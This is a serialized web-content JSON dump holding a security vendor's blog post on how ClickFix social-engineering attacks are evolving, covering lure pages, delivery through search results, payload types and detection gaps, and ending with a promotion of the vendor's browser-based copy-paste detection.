93781,93807,93813,93818,93824,93829,93835,93840,93846,93885,93888,93895,93901,93907,93913,93918,93921,93928,93934,93950,93955,93960,93965,93971,93976,93981,93997,94000,94007,94023,94028,94034,94050,94057,94063,94069,94075,94091,94098,94104,94109,94112,94119,94125,94131,94134,94141,94147,94153,94179,94184],{"data":93687,"content":93688,"nodeType":866},{},[93689],{"data":93690,"marks":93691,"value":85844,"nodeType":865},{},[],{"data":93693,"content":93694,"nodeType":866},{},[93695],{"data":93696,"marks":93697,"value":85851,"nodeType":865},{},[],{"data":93699,"content":93700,"nodeType":866},{},[93701],{"data":93702,"marks":93703,"value":85858,"nodeType":865},{},[],{"data":93705,"content":93708,"nodeType":912},{"target":93706},{"sys":93707},{"id":85863,"type":909,"linkType":910},[],{"data":93710,"content":93711,"nodeType":866},{},[93712],{"data":93713,"marks":93714,"value":85871,"nodeType":865},{},[],{"data":93716,"content":93717,"nodeType":972},{},[],{"data":93719,"content":93720,"nodeType":981},{},[93721],{"data":93722,"marks":93723,"value":85882,"nodeType":865},{},[93724],{"type":926},{"data":93726,"content":93727,"nodeType":866},{},[93728],{"data":93729,"marks":93730,"value":85889,"nodeType":865},{},[],{"data":93732,"content":93733,"nodeType":866},{},[93734],{"data":93735,"marks":93736,"value":85896,"nodeType":865},{},[],{"data":93738,"content":93739,"nodeType":866},{},[93740],{"data":93741,"marks":93742,"value":85903,"nodeType":865},{},[],{"data":93744,"content":93747,"nodeType":912},{"target":93745},{"sys":93746},{"id":85908,"type":909,"linkType":910},[],{"data":93749,"content":93750,"nodeType":866},{},[93751],{"data":93752,"marks":93753,"value":85916,"nodeType":865},{},[],{"data":93755,"content":93758,"nodeType":912},{"target":93756},{"sys":93757},{"id":85921,"type":909,"linkType":910},[],{"data":93760,"content":93761,"nodeType":866},{},[93762],{"data":93763,"marks":93764,"value":85929,"nodeType":865},{},[],{"data":93766,"content":93769,"nodeType":912},{"target":93767},{"sys":93768},{"id":85934,"type":909,"linkType":910},[],{"data":93771,"content":93772,"nodeType":866},{},[93773],{"data":93774,"marks":93775,"value":85942,"nodeType":865},{},[],{"data":93777,"content":93780,"nodeType":912},{"target":93778},{"sys":93779},{"id":85947,"type":909,"linkType":910},[],{"data":93782,"content":93783,"nodeType":866},{},[93784,93787,93794,93797,93804],{"data":93785,"marks":93786,"value":85955,"nodeType":865},{},[],{"data":93788,"content":93789,"nodeType":889},{"uri":66627},[93790],{"data":93791,"marks":93792,"value":85963,"nodeType":865},{},[93793],{"type":943},{"data":93795,"marks":93796,"value":85967,"nodeType":865},{},[],{"data":93798,"content":93799,"nodeType":889},{"uri":8862},[93800],{"data":93801,"marks":93802,"value":37925,"nodeType":865},{},[93803],{"type":943},{"data":93805,"marks":93806,"value":85978,"nodeType":865},{},[],{"data":93808,"content":93809,"nodeType":866},{},[93810],{"data":93811,"marks":93812,"value":85985,"nodeType":865},{},[],{"data":93814,"content":93817,"nodeType":912},{"target":93815},{"sys":93816},{"id":85990,"type":909,"linkType":910},[],{"data":93819,"content":93820,"nodeType":866},{},[93821],{"data":93822,"marks":93823,"value":85998,"nodeType":865},{},[],{"data":93825,"content":93828,"nodeType":912},{"target":93826},{"sys":93827},{"id":86003,"type":909,"linkType":910},[],{"data":93830,"content":93831,"nodeType":866},{},[93832],{"data":93833,"marks":93834,"value":86011,"nodeType":865},{},[],{"data":93836,"content":93839,"nodeType":912},{"target":93837},{"sys":93838},{"id":86016,"type":909,"linkType":910},[],{"data":93841,"content":93842,"nodeType":866},{},[93843],{"data":93844,"marks":93845,"value":86024,"nodeType":865},{},[],{"data":93847,"content":93848,"nodeType":1616},{},[93849,93858,93867,93876],{"data":93850,"content":93851,"nodeType":1570},{},[93852],{"data":93853,"content":93854,"nodeType":866},{},[93855],{"data":93856,"marks":93857,"value":86037,"nodeType":865},{},[],{"data":93859,"content":93860,"nodeType":1570},{},[93861],{"data":93862,"content":93863,"nodeType":866},{},[93864],{"data":93865,"marks":93866,"value":86047,"nodeType":865},{},[],{"data":93868,"content":93869,"nodeType":1570},{},[93870],{"data":93871,"content":93872,"nodeType":866},{},[93873],{"data":93874,"marks":93875,"value":86057,"nodeType":865},{},[],{"data":93877,"content":93878,"nodeType":1570},{},[93879],{"data":93880,"content":93881,"nodeType":866},{},[93882],{"data":93883,"marks":93884,"value":86067,"nodeType":865},{},[],{"data":93886,"content":93887,"nodeType":972},{},[],{"data":93889,"content":93890,"nodeType":981},{},[93891],{"data":93892,"marks":93893,"value":86078,"nodeType":865},{},[93894],{"type":926},{"data":93896,"content":93897,"nodeType":866},{},[93898],{"data":93899,"marks":93900,"value":86085,"nodeType":865},{},[],{"data":93902,"content":93903,"nodeType":866},{},[93904],{"data":93905,"marks":93906,"value":86092,"nodeType":865},{},[],{"data":93908,"content":93909,"nodeType":866},{},[93910],{"data":93911,"marks":93912,"value":86099,"nodeType":865},{},[],{"data":93914,"content":93917,"nodeType":912},{"target":93915},{"sys":93916},{"id":86104,"type":909,"linkType":910},[],{"data":93919,"content":93920,"nodeType":972},{},[],{"data":93922,"content":93923,"nodeType":981},{},[93924],{"data":93925,"marks":93926,"value":86116,"nodeType":865},{},[93927],{"type":926},{"data":93929,"content":93930,"nodeType":866},{},[93931],{"data":93932,"marks":93933,"value":86123,"nodeType":865},{},[],{"data":93935,"content":93936,"nodeType":866},{},[93937,93940,93947],{"data":93938,"marks":93939,"value":86130,"nodeType":865},{},[],{"data":93941,"content":93942,"nodeType":889},{"uri":86133},[93943],{"data":93944,"marks":93945,"value":86139,"nodeType":865},{},[93946],{"type":943},{"data":93948,"marks":93949,"value":86143,"nodeType":865},{},[],{"data":93951,"content":93954,"nodeType":912},{"target":93952},{"sys":93953},{"id":86148,"type":909,"linkType":910},[],{"data":93956,"content":93959,"nodeType":912},{"target":93957},{"sys":93958},{"id":86154,"type":909,"linkType":910},[],{"data":93961,"content":93964,"nodeType":912},{"target":93962},{"sys":93963},{"id":86160,"type":909,"linkType":910},[],{"data":93966,"content":93967,"nodeType":866},{},[93968],{"data":93969,"marks":93970,"value":86168,"nodeType":865},{},[],{"data":93972,"content":93975,"nodeType":912},{"target":93973},{"sys":93974},{"id":86173,"type":909,"linkType":910},[],{"data":93977,"content":93980,"nodeType":912},{"target":93978},{"sys":93979},{"id":86179,"type":909,"linkType":910},[],{"data":93982,"content":93983,"nodeType":866},{},[93984,93987,93994],{"data":93985,"marks":93986,"value":86187,"nodeType":865},{},[],{"data":93988,"content":93989,"nodeType":889},{"uri":86190},[93990],{"data":93991,"marks":93992,"value":86196,"nodeType":865},{},[93993],{"type":943},{"data":93995,"marks":93996,"value":86200,"nodeType":865},{},[],{"data":93998,"content":93999,"nodeType":972},{},[],{"data":94001,"content":94002,"nodeType":981},{},[94003],{"data":94004,"marks":94005,"value":86211,"nodeType":865},{},[94006],{"type":926},{"data":94008,"content":94009,"nodeType":866},{},[94010,94013,94020],{"data":94011,"marks":94012,"value":86218,"nodeType":865},{},[],{"data":94014,"content":94015,"nodeType":889},{"uri":86221},[94016],{"data":94017,"marks":94018,"value":8868,"nodeType":865},{},[94019],{"type":943},{"data":94021,"marks":94022,"value":86230,"nodeType":865},{},[],{"data":94024,"content":94027,"nodeType":912},{"target":94025},{"sys":94026},{"id":86235,"type":909,"linkType":910},[],{"data":94029,"content":94030,"nodeType":866},{},[94031],{"data":94032,"marks":94033,"value":86243,"nodeType":865},{},[],{"data":94035,"content":94036,"nodeType":866},{},[94037,94040,94047],{"data":94038,"marks":94039,"value":85613,"nodeType":865},{},[],{"data":94041,"content":94042,"nodeType":889},{"uri":14355},[94043],{"data":94044,"marks":94045,"value":315,"nodeType":865},{},[94046],{"type":943},{"data":94048,"marks":94049,"value":85624,"nodeType":865},{},[],{"data":94051,"content":94052,"nodeType":1317},{},[94053],{"data":94054,"marks":94055,"value":86267,"nodeType":865},{},[94056],{"type":926},{"data":94058,"content":94059,"nodeType":866},{},[94060],{"data":94061,"marks":94062,"value":86274,"nodeType":865},{},[],{"data":94064,"content":94065,"nodeType":866},{},[94066],{"data":94067,"marks":94068,"value":86281,"nodeType":865},{},[],{"data":94070,"content":94071,"nodeType":866},{},[94072],{"data":94073,"marks":94074,"value":85592,"nodeType":865},{},[],{"data":94076,"content":94077,"nodeType":866},{},[94078,94081,94088],{"data":94079,"marks":94080,"value":86294,"nodeType":865},{},[],{"data":94082,"content":94083,"nodeType":889},{"uri":4991},[94084],{"data":94085,"marks":94086,"value":8673,"nodeType":865},{},[94087],{"type":943},{"data":94089,"marks":94090,"value":86305,"nodeType":865},{},[],{"data":94092,"content":94093,"nodeType":1317},{},[94094],{"data":94095,"marks":94096,"value":86313,"nodeType":865},{},[94097],{"type":926},{"data":94099,"content":94100,"nodeType":866},{},[94101],{"data":94102,"marks":94103,"value":86320,"nodeType":865},{},[],{"data":94105,"content":94108,"nodeType":912},{"target":94106},{"sys":94107},{"id":86325,"type":909,"linkType":910},[],{"data":94110,"content":94111,"nodeType":972},{},[],{"data":94113,"content":94114,"nodeType":981},{},[94115],{"data":94116,"marks":94117,"value":67181,"nodeType":865},{},[94118],{"type":926},{"data":94120,"content":94121,"nodeType":866},{},[94122],{"data":94123,"marks":94124,"value":86343,"nodeType":865},{},[],{"data":94126,"content":94127,"nodeType":866},{},[94128],{"data":94129,"marks":94130,"value":85750,"nodeType":865},{},[],{"data":94132,"content":94133,"nodeType":972},{},[],{"data":94135,"content":94136,"nodeType":981},{},[94137],{"data":94138,"marks":94139,"value":2270,"nodeType":865},{},[94140],{"type":926},{"data":94142,"content":94143,"nodeType":866},{},[94144],{"data":94145,"marks":94146,"value":86366,"nodeType":865},{},[],{"data":94148,"content":94149,"nodeType":866},{},[94150],{"data":94151,"marks":94152,"value":53863,"nodeType":865},{},[],{"data":94154,"content":94155,"nodeType":866},{},[94156,94159,94166,94169,94176],{"data":94157,"marks":94158,"value":11372,"nodeType":865},{},[],{"data":94160,"content":94161,"nodeType":889},{"uri":11375},[94162],{"data":94163,"marks":94164,"value":11381,"nodeType":865},{},[94165],{"type":943},{"data":94167,"marks":94168,"value":53880,"nodeType":865},{},[],{"data":94170,"content":94171,"nodeType":889},{"uri":1372},[94172],{"data":94173,"marks":94174,"value":11405,"nodeType":865},{},[94175],{"type":943},{"data":94177,"marks":94178,"value":1615,"nodeType":865},{},[],{"data":94180,"content":94183,"nodeType":912},{"target":94181},{"sys":94182},{"id":67359,"type":909,"linkType":910},[],{"data":94185,"content":94186,"nodeType":866},{},[94187],{"data":94188,"marks":94189,"value":21,"nodeType":865},{},[],{"items":94191},[94192,94194],{"sys":94193,"name":7796},{"id":7795},{"sys":94195,"name":342},{"id":4642},{"items":94197},[94198],{"fullName":11421,"firstName":11422,"jobTitle":11423,"profilePicture":94199},{"url":11425},{"__typename":1429,"sys":94201,"content":94203,"title":94775,"synopsis":94776,"hashTags":59,"publishedDate":94777,"slug":94778,"tagsCollection":94779,"authorsCollection":94785},{"id":94202},"7rVNBW6rYXnXMpI0JEwzgR",{"json":94204},{"data":94205,"content":94206,"nodeType":1382},{},[94207,94214,94221,94233,94238,94245,94248,94256,94263,94269,94285,94292,94315,94322,94328,94331,94339,94371,94377,94396,94402,94421,94428,94434,94437,94445,94452,94472,94479,94499,94506,94512,94515,94523,94530,94563,94570,94577,94623,94641,94651,94658,94661,94669,94689,94696,94703,94708,94711,94718,94738,94764,94769],{"data":94208,"content":94209,"nodeType":866},{},[94210],{"data":94211,"marks":94212,"value":94213,"nodeType":865},{},[],"ClickFix attacks have skyrocketed in the last year. This social engineering attack has established itself as a key part of the modern attacker’s toolkit, tricking victims into running malicious code on their device.",{"data":94215,"content":94216,"nodeType":866},{},[94217],{"data":94218,"marks":94219,"value":94220,"nodeType":865},{},[],"As we showcased in our last webinar and at our threat briefing in London earlier this month, ClickFix is evolving fast, in terms of the web pages themselves, the delivery mechanisms by which they are sent to victims, and the nature of the payload and its execution.",{"data":94222,"content":94223,"nodeType":866},{},[94224,94228],{"data":94225,"marks":94226,"value":94227,"nodeType":865},{},[],"One particular example stood out to us in our research. ",{"data":94229,"marks":94230,"value":94232,"nodeType":865},{},[94231],{"type":926},"So, is this the most advanced ClickFix you’ve seen?",{"data":94234,"content":94237,"nodeType":912},{"target":94235},{"sys":94236},{"id":66806,"type":909,"linkType":910},[],{"data":94239,"content":94240,"nodeType":866},{},[94241],{"data":94242,"marks":94243,"value":94244,"nodeType":865},{},[],"Let’s break it down further.",{"data":94246,"content":94247,"nodeType":972},{},[],{"data":94249,"content":94250,"nodeType":981},{},[94251],{"data":94252,"marks":94253,"value":94255,"nodeType":865},{},[94254],{"type":926},"How ClickFix pages are evolving",{"data":94257,"content":94258,"nodeType":866},{},[94259],{"data":94260,"marks":94261,"value":94262,"nodeType":865},{},[],"The CloudFlare-based lure is a great example of how ClickFix pages themselves are evolving — and becoming increasingly convincing to users. ",{"data":94264,"content":94268,"nodeType":912},{"target":94265},{"sys":94266},{"id":94267,"type":909,"linkType":910},"4wJOgtofImjbsekyXMc5Ec",[],{"data":94270,"content":94271,"nodeType":866},{},[94272,94276,94281],{"data":94273,"marks":94274,"value":94275,"nodeType":865},{},[],"This is an incredibly slick example — ",{"data":94277,"marks":94278,"value":94280,"nodeType":865},{},[94279],{"type":926},"it almost looks like Cloudflare shipped a new kind of bot check service. ",{"data":94282,"marks":94283,"value":94284,"nodeType":865},{},[],"The embedded video, countdown timer, and counter for “users verified in the last hour” all serve to increase the sense of authenticity, and put extra pressure on the victim to complete the check. ",{"data":94286,"content":94287,"nodeType":866},{},[94288],{"data":94289,"marks":94290,"value":94291,"nodeType":865},{},[],"There are a couple of extra things happening under the hood here, too:",{"data":94293,"content":94294,"nodeType":1616},{},[94295,94305],{"data":94296,"content":94297,"nodeType":1570},{},[94298],{"data":94299,"content":94300,"nodeType":866},{},[94301],{"data":94302,"marks":94303,"value":94304,"nodeType":865},{},[],"The page is adapting to the device that you’re visiting from, serving up instructions specific to the user’s Mac (increasingly common as ClickFix expands to support different Operating Systems).",{"data":94306,"content":94307,"nodeType":1570},{},[94308],{"data":94309,"content":94310,"nodeType":866},{},[94311],{"data":94312,"marks":94313,"value":94314,"nodeType":865},{},[],"The page is automatically copying the malicious code to the user’s clipboard via JavaScript (which we see in 9/10 cases).",{"data":94316,"content":94317,"nodeType":866},{},[94318],{"data":94319,"marks":94320,"value":94321,"nodeType":865},{},[],"For the past decade or more, user awareness has focused on stopping users from clicking links in suspicious emails, downloading risky files, and entering their username and password into random websites. It hasn’t focused on opening up a program and running a command — so it’s no surprise that this kind of highly convincing page is so effective at duping victims into following the instructions. ",{"data":94323,"content":94327,"nodeType":912},{"target":94324},{"sys":94325},{"id":94326,"type":909,"linkType":910},"LiVIyGxdAaUXUfvKjD6ON",[],{"data":94329,"content":94330,"nodeType":972},{},[],{"data":94332,"content":94333,"nodeType":981},{},[94334],{"data":94335,"marks":94336,"value":94338,"nodeType":865},{},[94337],{"type":926},"How ClickFix delivery methods are evolving",{"data":94340,"content":94341,"nodeType":866},{},[94342,94346,94354,94358,94367],{"data":94343,"marks":94344,"value":94345,"nodeType":865},{},[],"There’s also the fact that this page wasn’t accessed via email. The top delivery vector for ClickFix attacks that we’ve observed is, in fact, Google Search — in the form of ",{"data":94347,"content":94348,"nodeType":889},{"uri":66817},[94349],{"data":94350,"marks":94351,"value":94353,"nodeType":865},{},[94352],{"type":943},"poisoned search results and malicious advertising (malvertising)",{"data":94355,"marks":94356,"value":94357,"nodeType":865},{},[],". Attackers are either taking over legitimate sites (there’s a ",{"data":94359,"content":94361,"nodeType":889},{"uri":94360},"https://www.bleepingcomputer.com/news/security/hackers-launch-mass-attacks-exploiting-outdated-wordpress-plugins/",[94362],{"data":94363,"marks":94364,"value":94366,"nodeType":865},{},[94365],{"type":943},"steady supply of website hosting and CMS vulnerabilities",{"data":94368,"marks":94369,"value":94370,"nodeType":865},{},[]," to take advantage of) or simply vibe-coding their own sites and optimizing them for various search terms. ",{"data":94372,"content":94376,"nodeType":912},{"target":94373},{"sys":94374},{"id":94375,"type":909,"linkType":910},"6N9EmH6AaN6Hr4xk6ozATR",[],{"data":94378,"content":94379,"nodeType":866},{},[94380,94384,94393],{"data":94381,"marks":94382,"value":94383,"nodeType":865},{},[],"And because most anti-phishing controls are implemented via email, by using ",{"data":94385,"content":94387,"nodeType":889},{"uri":94386},"https://pushsecurity.com/blog/why-attackers-are-moving-beyond-email-based-phishing?utm_source=thehackernews&utm_medium=sponsored-content&utm_term=article",[94388],{"data":94389,"marks":94390,"value":94392,"nodeType":865},{},[94391],{"type":943},"non-email delivery vectors, an entire layer of detection opportunity is cut out",{"data":94394,"marks":94395,"value":14251,"nodeType":865},{},[],{"data":94397,"content":94401,"nodeType":912},{"target":94398},{"sys":94399},{"id":94400,"type":909,"linkType":910},"1CWsZlLFX9TS53J1uamOG8",[],{"data":94403,"content":94404,"nodeType":866},{},[94405,94409,94417],{"data":94406,"marks":94407,"value":94408,"nodeType":865},{},[],"But even when they are sent via email, ClickFix pages, like other modern phishing sites, are using a range of ",{"data":94410,"content":94412,"nodeType":889},{"uri":94411},"https://pushsecurity.com/blog/phishing-detection-evasion-launch?utm_source=thehackernews&utm_medium=sponsored-content&utm_term=article",[94413],{"data":94414,"marks":94415,"value":8868,"nodeType":865},{},[94416],{"type":943},{"data":94418,"marks":94419,"value":94420,"nodeType":865},{},[]," that prevent them being flagged by security tools — from email scanners, to web-crawling security tools, to web proxies analyzing network traffic. Detection evasion mainly involves camouflaging and rotating domains to stay ahead of known-bad detections (i.e. blocklists), using bot protection to prevent analysis, and heavily obfuscating page content to stop detection signatures firing. ",{"data":94422,"content":94423,"nodeType":866},{},[94424],{"data":94425,"marks":94426,"value":94427,"nodeType":865},{},[],"Finally, because the code is copied inside the browser sandbox, typical security tools are unable to observe and flag this action as potentially malicious. This means that the last — and only — opportunity for organizations to stop ClickFix is on the endpoint, after the user has attempted to run the malicious code.",{"data":94429,"content":94433,"nodeType":912},{"target":94430},{"sys":94431},{"id":94432,"type":909,"linkType":910},"3HiqpIBWWMr5FMi3IBzXcc",[],{"data":94435,"content":94436,"nodeType":972},{},[],{"data":94438,"content":94439,"nodeType":981},{},[94440],{"data":94441,"marks":94442,"value":94444,"nodeType":865},{},[94443],{"type":926},"How ClickFix payloads are evolving",{"data":94446,"content":94447,"nodeType":866},{},[94448],{"data":94449,"marks":94450,"value":94451,"nodeType":865},{},[],"It’s not just the ClickFix page and delivery mechanisms that are evolving — the services where code is being run, and the type of payload, are also increasingly varied. ",{"data":94453,"content":94454,"nodeType":866},{},[94455,94459,94468],{"data":94456,"marks":94457,"value":94458,"nodeType":865},{},[],"While the main payloads observed by Push are mshta and PowerShell, ",{"data":94460,"content":94462,"nodeType":889},{"uri":94461},"https://mhaggis.github.io/ClickGrab/techniques.html",[94463],{"data":94464,"marks":94465,"value":94467,"nodeType":865},{},[94466],{"type":943},"attackers are abusing a wide range of LOLBINS",{"data":94469,"marks":94470,"value":94471,"nodeType":865},{},[]," targeting different services across Operating Systems.",{"data":94473,"content":94474,"nodeType":866},{},[94475],{"data":94476,"marks":94477,"value":94478,"nodeType":865},{},[],"While it is possible to disable the Win+R dialog box and limit the applications that can be run from the File Explorer address bar, it is not possible to similarly restrict users from interacting with other legitimate services to run malicious commands. ",{"data":94480,"content":94481,"nodeType":866},{},[94482,94486,94495],{"data":94483,"marks":94484,"value":94485,"nodeType":865},{},[],"Another recent example termed ",{"data":94487,"content":94489,"nodeType":889},{"uri":94488},"https://expel.com/blog/cache-smuggling-when-a-picture-isnt-a-thousand-words/",[94490],{"data":94491,"marks":94492,"value":94494,"nodeType":865},{},[94493],{"type":943},"cache smuggling",{"data":94496,"marks":94497,"value":94498,"nodeType":865},{},[]," was also identified by security researchers. This technique combines a ClickFix approach with JavaScript that caches a malicious file posing as a JPG. This means that the ClickFix command executes locally — effectively getting an entire zip file onto the local system without the PowerShell command needing to make any web requests.",{"data":94500,"content":94501,"nodeType":866},{},[94502],{"data":94503,"marks":94504,"value":94505,"nodeType":865},{},[],"Finally, it’s worth considering the future of ClickFix. The current attack path straddles browser and endpoint — what if it could take place entirely in the browser and evade EDR altogether? ",{"data":94507,"content":94511,"nodeType":912},{"target":94508},{"sys":94509},{"id":94510,"type":909,"linkType":910},"2rUDKawJnrmZVtxfNcSNha",[],{"data":94513,"content":94514,"nodeType":972},{},[],{"data":94516,"content":94517,"nodeType":981},{},[94518],{"data":94519,"marks":94520,"value":94522,"nodeType":865},{},[94521],{"type":926},"What’s the impact of ClickFix evolution?",{"data":94524,"content":94525,"nodeType":866},{},[94526],{"data":94527,"marks":94528,"value":94529,"nodeType":865},{},[],"To summarize:",{"data":94531,"content":94532,"nodeType":1616},{},[94533,94543,94553],{"data":94534,"content":94535,"nodeType":1570},{},[94536],{"data":94537,"content":94538,"nodeType":866},{},[94539],{"data":94540,"marks":94541,"value":94542,"nodeType":865},{},[],"ClickFix pages are becoming increasingly sophisticated, making it more likely that victims will fall for the social engineering.",{"data":94544,"content":94545,"nodeType":1570},{},[94546],{"data":94547,"content":94548,"nodeType":866},{},[94549],{"data":94550,"marks":94551,"value":94552,"nodeType":865},{},[],"ClickFix delivery is evading traditional monitoring controls at the email layer to reach victims. ",{"data":94554,"content":94555,"nodeType":1570},{},[94556],{"data":94557,"content":94558,"nodeType":866},{},[94559],{"data":94560,"marks":94561,"value":94562,"nodeType":865},{},[],"ClickFix payloads are becoming more varied and are finding new ways to evade security controls. ",{"data":94564,"content":94565,"nodeType":866},{},[94566],{"data":94567,"marks":94568,"value":94569,"nodeType":865},{},[],"This means that EDR-based interception of malware execution is the last — and only — real line of defense for most organizations, kicking in after the initial script has been run (typically acting as a stager for the real malware). ",{"data":94571,"content":94572,"nodeType":866},{},[94573],{"data":94574,"marks":94575,"value":94576,"nodeType":865},{},[],"Malware execution can and should be intercepted by EDR, but it’s not foolproof. ",{"data":94578,"content":94579,"nodeType":1616},{},[94580,94603,94613],{"data":94581,"content":94582,"nodeType":1570},{},[94583],{"data":94584,"content":94585,"nodeType":866},{},[94586,94590,94599],{"data":94587,"marks":94588,"value":94589,"nodeType":865},{},[],"Attackers are constantly ",{"data":94591,"content":94593,"nodeType":889},{"uri":94592},"https://www.infostealers.com/article/logins-zip-leverages-chromium-zero-day-stealthy-infostealer-builder-promises-99-credential-theft-in-under-12-seconds/",[94594],{"data":94595,"marks":94596,"value":94598,"nodeType":865},{},[94597],{"type":943},"developing new tools and capabilities",{"data":94600,"marks":94601,"value":94602,"nodeType":865},{},[]," to bypass EDR in the cat-and-mouse game between attackers and defenders.",{"data":94604,"content":94605,"nodeType":1570},{},[94606],{"data":94607,"content":94608,"nodeType":866},{},[94609],{"data":94610,"marks":94611,"value":94612,"nodeType":865},{},[],"Because ClickFix attacks are user initiated, context might be missing that lead to the alert being misclassified. This can mean the difference between the level of priority alert that is raised, and whether or not it is automatically blocked.",{"data":94614,"content":94615,"nodeType":1570},{},[94616],{"data":94617,"content":94618,"nodeType":866},{},[94619],{"data":94620,"marks":94621,"value":94622,"nodeType":865},{},[],"If you’re an organization that allows employees and contractors to use unmanaged BYOD devices, there’s a strong chance that there are gaps in your EDR coverage.",{"data":94624,"content":94625,"nodeType":866},{},[94626,94630,94637],{"data":94627,"marks":94628,"value":94629,"nodeType":865},{},[],"This is why attackers are doubling down. According to the ",{"data":94631,"content":94632,"nodeType":889},{"uri":53672},[94633],{"data":94634,"marks":94635,"value":94636,"nodeType":865},{},[],"2025 Microsoft Digital Defense report",{"data":94638,"marks":94639,"value":94640,"nodeType":865},{},[],", ClickFix was the most common initial access method in the last year, accounting for 47% of attacks. That's a pretty significant stat.",{"data":94642,"content":94643,"nodeType":7584},{},[94644],{"data":94645,"content":94646,"nodeType":866},{},[94647],{"data":94648,"marks":94649,"value":94650,"nodeType":865},{},[],"47% of attacks started with ClickFix in the last year, according to Microsoft.",{"data":94652,"content":94653,"nodeType":866},{},[94654],{"data":94655,"marks":94656,"value":94657,"nodeType":865},{},[],"Ultimately, organizations are leaving themselves relying on a single line of defense — if the attack isn’t detected and blocked by EDR, it isn’t spotted at all. ",{"data":94659,"content":94660,"nodeType":972},{},[],{"data":94662,"content":94663,"nodeType":981},{},[94664],{"data":94665,"marks":94666,"value":94668,"nodeType":865},{},[94667],{"type":926},"Don’t gamble on a single point of failure ",{"data":94670,"content":94671,"nodeType":866},{},[94672,94676,94685],{"data":94673,"marks":94674,"value":94675,"nodeType":865},{},[],"Push Security’s latest feature, ",{"data":94677,"content":94679,"nodeType":889},{"uri":94678},"https://pushsecurity.com/blog/introducing-malicious-copy-paste-detection?utm_source=thehackernews&utm_medium=sponsored-content&utm_term=article",[94680],{"data":94681,"marks":94682,"value":94684,"nodeType":865},{},[94683],{"type":943},"malicious copy and paste detection",{"data":94686,"marks":94687,"value":94688,"nodeType":865},{},[],", tackles ClickFix-style attacks at the earliest opportunity through browser-based detection and blocking. This is a universally effective control that works regardless of the lure delivery channel, page style and structure, or the specifics of the malware type and execution.",{"data":94690,"content":94691,"nodeType":866},{},[94692],{"data":94693,"marks":94694,"value":94695,"nodeType":865},{},[],"Unlike heavy-handed DLP solutions that block copy-paste altogether, Push protects your employees without disrupting their user experience or hampering productivity.",{"data":94697,"content":94698,"nodeType":866},{},[94699],{"data":94700,"marks":94701,"value":94702,"nodeType":865},{},[],"By adding a new layer of protection in the browser, security teams can reduce the strain on their EDR and reduce the risk of host-based controls being bypassed through misconfiguration or attacker innovation. ",{"data":94704,"content":94707,"nodeType":912},{"target":94705},{"sys":94706},{"id":80102,"type":909,"linkType":910},[],{"data":94709,"content":94710,"nodeType":972},{},[],{"data":94712,"content":94713,"nodeType":981},{},[94714],{"data":94715,"marks":94716,"value":34483,"nodeType":865},{},[94717],{"type":926},{"data":94719,"content":94720,"nodeType":866},{},[94721,94725,94734],{"data":94722,"marks":94723,"value":94724,"nodeType":865},{},[],"If you want to learn more about ClickFix attacks and how they’re evolving, ",{"data":94726,"content":94728,"nodeType":889},{"uri":94727},"https://pushsecurity.com/resources/clickfix",[94729],{"data":94730,"marks":94731,"value":94733,"nodeType":865},{},[94732],{"type":943},"check out our latest webinar (now available on-demand!)",{"data":94735,"marks":94736,"value":94737,"nodeType":865},{},[]," where we dive into real-world ClickFix examples and demonstrate how ClickFix sites work under the hood. ",{"data":94739,"content":94740,"nodeType":866},{},[94741,94744,94751,94754,94761],{"data":94742,"marks":94743,"value":11372,"nodeType":865},{},[],{"data":94745,"content":94746,"nodeType":889},{"uri":11375},[94747],{"data":94748,"marks":94749,"value":11381,"nodeType":865},{},[94750],{"type":943},{"data":94752,"marks":94753,"value":53880,"nodeType":865},{},[],{"data":94755,"content":94756,"nodeType":889},{"uri":1372},[94757],{"data":94758,"marks":94759,"value":11405,"nodeType":865},{},[94760],{"type":943},{"data":94762,"marks":94763,"value":1615,"nodeType":865},{},[],{"data":94765,"content":94768,"nodeType":912},{"target":94766},{"sys":94767},{"id":94326,"type":909,"linkType":910},[],{"data":94770,"content":94771,"nodeType":866},{},[94772],{"data":94773,"marks":94774,"value":21,"nodeType":865},{},[],"The most advanced ClickFix yet?","Breaking down the most sophisticated ClickFix page we’ve seen in the wild — and what it tells us about the future of malicious copy-and-paste attacks. ","2025-11-06T00:00:00.000Z","the-most-advanced-clickfix-yet",{"items":94780},[94781,94783],{"sys":94782,"name":342},{"id":4642},{"sys":94784,"name":7796},{"id":7795},{"items":94786},[94787],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":94788},{"url":7804},"blog/analysing-a-sophisticated-google-malvertising-attack",{"json":94791},{"data":94792,"content":94793,"nodeType":1382},{},[94794],{"data":94795,"content":94796,"nodeType":866},{},[94797],{"data":94798,"marks":94799,"value":94800,"nodeType":865},{},[],"Push recently detected and blocked a malvertising attack impersonating TradingView, designed to hijack Google Workspace accounts via Attacker-in-the-Middle phishing. Here’s what you need to know. ",{"id":85009,"publishedAt":94802},"2026-08-12T11:53:29.517Z",{"items":94804},[94805,94807],{"sys":94806,"name":7796},{"id":7795},{"sys":94808,"name":342},{"id":4642},{"items":94810},[94811,94813,94815,94817,94819,94821,94823,94825,94827,94829,94831,94833,94835],{"sys":94812,"name":279,"slug":280,"tier":31},{"id":276},{"sys":94814,"name":519,"slug":520,"tier":31},{"id":516},{"sys":94816,"name":342,"slug":343,"tier":31},{"id":339},{"sys":94818,"name":440,"slug":441,"tier":45},{"id":437},{"sys":94820,"name":261,"slug":262,"tier":45},{"id":258},{"sys":94822,"name":324,"slug":325,"tier":45},{"id":321},{"sys":94824,"name":571,"slug":572,"tier":45},{"id":568},{"sys":94826,"name":466,"slug":467,"tier":45},{"id":463},{"sys":94828,"name":475,"slug":476,"tier":45},{"id":472},{"sys":94830,"name":315,"slug":316,"tier":45},{"id":312},{"sys":94832,"name":511,"slug":512,"tier":45},{"id":508},{"sys":94834,"name":351,"slug":352,"tier":45},{"id":348},{"sys":94836,"name":431,"slug":432,"tier":45},{"id":428},"FLM-1o_o6QaNOwDyiLUo2QqV24gLaljg5Ssim9_cBEg",{"id":94839,"title":85818,"authorsCollection":94840,"content":94845,"extension":228,"faqItemsCollection":95269,"faqTitle":59,"featured":6,"hashTags":59,"meta":95271,"metaTitle":95272,"ogImage":59,"postType":42959,"publishedDate":85820,"relatedBlogPostsCollection":95273,"slug":85821,"stem":96861,"subtitle":59,"summary":96862,"synopsis":85819,"sys":96873,"tagsCollection":96875,"topicsCollection":96881,"__hash__":96905},"blog/blog/analysing-a-malvertising-attack-targeting-business-google-accounts.json",{"items":94841},[94842],{"fullName":7800,"firstName":7801,"jobTitle":7802,"socialLinks":94843,"profilePicture":94844},[30152],{"url":7804},{"json":94846,"links":95181},{"data":94847,"content":94848,"nodeType":13